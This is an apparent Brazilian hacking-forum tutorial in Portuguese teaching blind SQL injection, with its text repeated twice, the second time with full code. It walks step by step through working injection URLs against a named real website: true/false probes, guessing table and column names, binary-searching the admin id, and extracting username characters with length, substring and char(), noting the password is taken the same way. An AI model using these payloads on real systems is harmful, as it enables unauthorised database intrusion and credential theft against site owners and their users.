BLIND SQL INJECTION
Olá pessoal do Brazilian Hack. Estou aqui novamente para tentar ajudar vocês. Muita gente pensa que Blind SQL é algo muito avançado, muito difícil etc. Porém ao começarmos a estudar, vocês verão que é muito simples, um pouco mais complicado que o SQLi normal, porém continua sendo fácil.
0x1- O que é Blind SQLi e qual a diferença para SQLi normal?
Blind SQLi é como um jogo de pergunta e resposta. Você insere sua query(pergunta) e ele carrega ou não a página (resposta). A diferença entre ele e o SQLi normal é que nele é necessário "chutar" os nomes das tabelas, colunas, usuários e senha. Ai você me diz: " NOSSAAA, vou ficar 2 anos pra acertar os nomes". Nãooo gafanhotinho... Na verdade há comandos que facilitam esse chute, e palavras padrão. Bom explicarei isso mais a frente. Vamos a prática!!!
Obs: Como já é de costume nos meus tutoriais, eles serão feitos com sites reais. Você tem a opção de participar ou não.
1x0- Testar se o site é vull
E como eu faço isso 2-D?
Bom é simples. Como a página vull a blind sqli só responde SIM(a página carrega normalmente) ou NÃO(ela não carrega ou carrega com informações faltando) nós temos que por uma informação verdadeira e elá tem que carregar, depois temos que por uma falsa e ela não pode carregar ou carregar com defeitos.
O site que vamos usar é:
Para verificarmos a vull, temos q por uma informação falsa e outra verdadeira.
Uma informação verdadeira seria:
--> A página vai carregar normalmente.
Uma informação falsa seria:
--> A página não vai carregar normalmente.
Feito isso checamos que a vull existe, uma vez que ela responde corretamente à nossas perguntas.
Agora vamos explorar. Aqui neste tutorial nós vamos trabalhar com a ordem Tabela>Coluna>Usuário>Senha.
2x0 Vamos então descobrir o nome da tabela.
Para isso usaremos o código(vou postar dps eu explico pra que serve cada palavra):
A parte "select count(*)" significa "selecione a coluna (*). Nós usamos o (*) por que ainda estamos chutando o nome da tabela. Depois iremos para a coluna.
Onde há "nomedatabela" é o nome que você vai chutar. Os nomes mais comuns são:
Testaremos as 3 primeiras:
Achamos o nome da tabela entao: users
3x0 Agora vamos partir para as colunas.
Usaremos o mesmo código:
Bom nós queremos duas colunas: usuário e senha
3x1 Achar a coluna que contém a senha
Os nomes mais comuns para a coluna que contém a senha são:
Vamos achar então o nome da coluna que contém a senha.
3x2 Achar a coluna que contém o usuário
Os nomes mais comuns para a coluna que contém o (é a mesma da tabela) usuário eu já dei ali em cima.
Vamos então tentar achar o nome da coluna que contem o usuário. Vamos chutar os 3 primeiros nomes que eu falei la em cima:
Bom até aqui já achamos 3 coisas: Nome da tabela: Users
Coluna do usuário: User
Coluna que contém a senha: psw
4x0 Descobrindo o ID
Vocês devem saber que quando vamos invadir por SQLi no Havij, aparecem vários logins e senhas né? Então, com o BlindSQli só poderemos descobrir 1 usuário e 1 senha de cada vez. Para isso teremos que descobrir o "id". Normalmente o primeiro id é o admin, então rezaremos ^^. Para descobrir o id faremos o seguinte:
Bom isso vai demorar um pouco até conseguirmos achar o id... Vá fazendo isso até diminuir bastante a distancia entre o que não carrega e o que carrega. Depois vá usando o sinal de "=". Como eu já achei vou direto ao ponto.
--> Carrega.
5x0 Descobrindo o número de caracteres.
Para facilitar a descoberta do usuario e senha, vamos ver qual o tamanho do usuário e da senha (quantos caracteres ele possui).
Para descobrir qual o tamanho do usuario usaremos o comando "length" e comandos como >,< e =. Desse modo veremos se o usuario por exemplo possui mais de 10 caracteres( > 10 ) ou se tem menos que 5 ( < 5 ).A string completa ficará assim:
Bom, agora é só usar o bom senso e um pouco de matemática. Qual o número que é maior que 4 mas não é maior que 5? O 5 --'
--> Viu?Carregou!!
Agora nós já sabemos o tamanho do usuário. O próximo passo é descobrir o usuário em si.
Obs: Eu não vou fazer os exemplos com a senha por um motivo simples, é igual. A única coisa que mudar é que onde ta escrito user você tem que por psw.
6x0 Descobrindo usuário
Para descobrir os caracteres do usuário vamos usar o comando "substring".Ficará assim:
Esse "1,1" significa que é a primeira letra dessa palavra. "2,1" seria a segunda letra e assim em diante.
Como o usuário é admin, teoricamente era pra carregar. Por que então não carregou? Por que nós não podemos usar letras normal. Temos que utilizar em ascii. Utilize esse site para pegar as letras Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... .
Carregou normalmente DD
Agora vamos para a segunda letra
Para o tutorial não ficar maior do que já está eu vou terminar por aqui. Agora é só ir mudando de 2, pra 3, dps pra 4, etc... e dps fazer a mesma coisa com a senha ( que é enorme uma vez q esta criptografada ).
Créditos: 2-D
Gratz: Brazilian Hack
Qualquer dúdiva add: brazilianhack2d@hotmail.com
Olá pessoal do Brazilian Hack. Estou aqui novamente para tentar ajudar vocês. Muita gente pensa que Blind SQL é algo muito avançado, muito difícil etc. Porém ao começarmos a estudar, vocês verão que é muito simples, um pouco mais complicado que o SQLi normal, porém continua sendo fácil.
0x1- O que é Blind SQLi e qual a diferença para SQLi normal?
Blind SQLi é como um jogo de pergunta e resposta. Você insere sua query(pergunta) e ele carrega ou não a página (resposta). A diferença entre ele e o SQLi normal é que nele é necessário "chutar" os nomes das tabelas, colunas, usuários e senha. Ai você me diz: " NOSSAAA, vou ficar 2 anos pra acertar os nomes". Nãooo gafanhotinho... Na verdade há comandos que facilitam esse chute, e palavras padrão. Bom explicarei isso mais a frente. Vamos a prática!!!
Obs: Como já é de costume nos meus tutoriais, eles serão feitos com sites reais. Você tem a opção de participar ou não.
1x0- Testar se o site é vull
E como eu faço isso 2-D?
Bom é simples. Como a página vull a blind sqli só responde SIM(a página carrega normalmente) ou NÃO(ela não carrega ou carrega com informações faltando) nós temos que por uma informação verdadeira e elá tem que carregar, depois temos que por uma falsa e ela não pode carregar ou carregar com defeitos.
O site que vamos usar é:
Código:
http://www.commsunlight.com/news.php?id=5
Uma informação verdadeira seria:
Código:
http://www.commsunlight.com/news.php?id=5+and+1=1
Uma informação falsa seria:
Código:
http://www.commsunlight.com/news.php?id=5+and+1=0
Feito isso checamos que a vull existe, uma vez que ela responde corretamente à nossas perguntas.
Agora vamos explorar. Aqui neste tutorial nós vamos trabalhar com a ordem Tabela>Coluna>Usuário>Senha.
2x0 Vamos então descobrir o nome da tabela.
Para isso usaremos o código(vou postar dps eu explico pra que serve cada palavra):
Código:
http://www.commsunlight.com/news.php?id=5+and+(select+count(*)+from+nomedatabela)
Onde há "nomedatabela" é o nome que você vai chutar. Os nomes mais comuns são:
Código:
User Admin tb_user tb_usuário Users Adm tb_users Usuário Usuários Administrador tb_usuários Login
Código:
http://www.commsunlight.com/news.php?id=5+and+(select+count(*)+from+user) --> pag não carrega normalmente. http://www.commsunlight.com/news.php?id=5+and+(select+count(*)+from+usuário) --> pag não carrega normalmente. http://www.commsunlight.com/news.php?id=5+and+(select+count(*)+from+users) --> pag carrega normalmente.
3x0 Agora vamos partir para as colunas.
Usaremos o mesmo código:
Código:
http://www.commsunlight.com/news.php?id=5+and+(select+count(nomedacoluna)+from+users)
3x1 Achar a coluna que contém a senha
Os nomes mais comuns para a coluna que contém a senha são:
Código:
Senha Pass Chave Senhas psw Password passwords
Vamos achar então o nome da coluna que contém a senha.
Código:
http://www.commsunlight.com/news.php?id=5+and+(select+count(password)+from+users) --> não carrega normalmente. http://www.commsunlight.com/news.php?id=5+and+(select+count(pass)+from+users) --> não carrega normalmente. http://www.commsunlight.com/news.php?id=5+and+(select+count(psw)+from+users) --> carrega normalmente!!!
Os nomes mais comuns para a coluna que contém o (é a mesma da tabela) usuário eu já dei ali em cima.
Vamos então tentar achar o nome da coluna que contem o usuário. Vamos chutar os 3 primeiros nomes que eu falei la em cima:
Código:
http://www.commsunlight.com/news.php?id=5+and+(select+count(users)+from+users) --> não carrega normalmente. http://www.commsunlight.com/news.php?id=5+and+(select+count(usuario)+from+users) --> não carrega normalmente. http://www.commsunlight.com/news.php?id=5+and+(select+count(user)+from+users) --> carrega normalmente!!!
Coluna do usuário: User
Coluna que contém a senha: psw
4x0 Descobrindo o ID
Vocês devem saber que quando vamos invadir por SQLi no Havij, aparecem vários logins e senhas né? Então, com o BlindSQli só poderemos descobrir 1 usuário e 1 senha de cada vez. Para isso teremos que descobrir o "id". Normalmente o primeiro id é o admin, então rezaremos ^^. Para descobrir o id faremos o seguinte:
Código:
http://www.commsunlight.com/news.php?id=5+and+(select+count(psw)+from+users+where+id<10) --> nós estamos utilizando o sinal de menor pois queremos o primeiro id e não o último. A página não carrega. http://www.commsunlight.com/news.php?id=5+and+(select+count(psw)+from+users+where+id<100) --> não carrega. http://www.commsunlight.com/news.php?id=5+and+(select+count(psw)+from+users+where+id<300) --> carrega!! Sabemos então que o id é menor que 300 http://www.commsunlight.com/news.php?id=5+and+(select+count(psw)+from+users+where+id<200) --> não carrega, ele esta entre 200 e 300 http://www.commsunlight.com/news.php?id=5+and+(select+count(psw)+from+users+where+id<280) --> Carrega. http://www.commsunlight.com/news.php?id=5+and+(select+count(psw)+from+users+where+id<260) --> Não carrega.
Código:
http://www.commsunlight.com/news.php?id=5+and+(select+count(psw)+from+users+where+id=270)
5x0 Descobrindo o número de caracteres.
Para facilitar a descoberta do usuario e senha, vamos ver qual o tamanho do usuário e da senha (quantos caracteres ele possui).
Para descobrir qual o tamanho do usuario usaremos o comando "length" e comandos como >,< e =. Desse modo veremos se o usuario por exemplo possui mais de 10 caracteres( > 10 ) ou se tem menos que 5 ( < 5 ).A string completa ficará assim:
Código:
http://www.commsunlight.com/news.php?id=5+and+(select+length(user)+from+users+where+id=270)+>+10 --> não carrega. http://www.commsunlight.com/news.php?id=5+and+(select+length(user)+from+users+where+id=270)+>+5 --> não carrega. http://www.commsunlight.com/news.php?id=5+and+(select+length(user)+from+users+where+id=270)+>+4 --> carrega!
Código:
http://www.commsunlight.com/news.php?id=5+and+(select+length(user)+from+users+where+id=270)+=+5
Agora nós já sabemos o tamanho do usuário. O próximo passo é descobrir o usuário em si.
Obs: Eu não vou fazer os exemplos com a senha por um motivo simples, é igual. A única coisa que mudar é que onde ta escrito user você tem que por psw.
6x0 Descobrindo usuário
Para descobrir os caracteres do usuário vamos usar o comando "substring".Ficará assim:
Código:
http://www.commsunlight.com/news.php?id=5+and+(select+substring(user,1,1)+from+users+where+id=270)+=+a
Como o usuário é admin, teoricamente era pra carregar. Por que então não carregou? Por que nós não podemos usar letras normal. Temos que utilizar em ascii. Utilize esse site para pegar as letras Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... .
Código:
http://www.commsunlight.com/news.php?id=5+and+(select+substring(user,1,1)+from+users+where+id=270)+=+char(97)
Agora vamos para a segunda letra
Código:
http://www.commsunlight.com/news.php?id=5+and+(select+substring(user,2,1)+from+users+where+id=270)+>+char(97)-> carrega. Sabemos então que a letra é maior que A na ordem alfabética. http://www.commsunlight.com/news.php?id=5+and+(select+substring(user,1,1)+from+users+where+id=270)+>+char(100)-> não carrega. Ou seja é menor que "d". http://www.commsunlight.com/news.php?id=5+and+(select+substring(user,1,1)+from+users+where+id=270)+<+char(100) -> também não carrega. se ela é menor que "d" e maior que "d" ela é "d" --'
Créditos: 2-D
Gratz: Brazilian Hack
Qualquer dúdiva add: brazilianhack2d@hotmail.com
Comment